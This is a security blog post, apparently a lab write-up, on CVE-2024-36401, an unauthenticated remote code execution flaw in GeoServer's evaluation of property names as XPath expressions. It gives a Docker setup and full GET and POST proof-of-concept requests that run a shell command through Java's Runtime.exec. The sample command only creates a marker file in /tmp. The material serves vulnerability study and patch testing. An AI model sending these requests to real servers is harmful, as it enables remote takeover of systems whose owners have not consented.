Cyber security

CVE-2024-36401 : GeoServer Unauthenticated Remote Code Execution In Evaluating Property Name Expressions

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data.

It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.

In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.

Vulnerable Environment

Execute following command to start a GeoServer server 2.23.2:

docker compose up -d

After server is started, you will see the default page of GeoServer at http://your-ip:8080/geoserver.

Exploit

In the official vulnerability announcement, you can find the following content:

No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

For example, I gonna to use GetPropertyValue to execute evil xpath expression. refer to official document, the GET method POC is:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

The POST method POC is:

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

For more information click here.

Tamil S

Tamil has a great interest in the fields of Cyber Security, OSINT, and CTF projects. Currently, he is deeply involved in researching and publishing various security tools with Kali Linux Tutorials, which is quite fascinating.

Recent Posts

vArmor : Enhancing Container Security In Cloud-Native Environments

vArmor is a cloud-native container sandbox system. It leverages Linux's AppArmor LSM, BPF LSM and Seccomp technologies to implement enforcers.…

39 seconds ago

DOLOST – Harnessing Cyber Deception For Strategic Security Deployments

Explore the cutting-edge framework 'DOLOST,' designed to innovate the field of cyber deception. This tool…

40 seconds ago

LDAP Firewall – Enhancing Security With Advanced Active Directory Protection

LDAP Firewall is an open-source tool for Windows servers that lets you audit and restrict incoming…

42 seconds ago

BetterScan-CE Wiki : Integrating Comprehensive Security Scans Into DevOps

It is a Code and Infrastructure (IaC) and Cloud-native Scanning/SAST/Static Analysis/Linting solution using many tools/Scanners…

38 mins ago

Betterscan – Comprehensive Security Orchestration For Code And Infrastructure

Scan your source code and infra IaC against top security risks Betterscan is a orchestration toolchain that…

1 day ago

SQLRecon – Comprehensive Guide To SQL Server Exploitation And Defense

SQLRecon is a Microsoft SQL Server toolkit that is designed for offensive reconnaissance and post-exploitation.…

1 day ago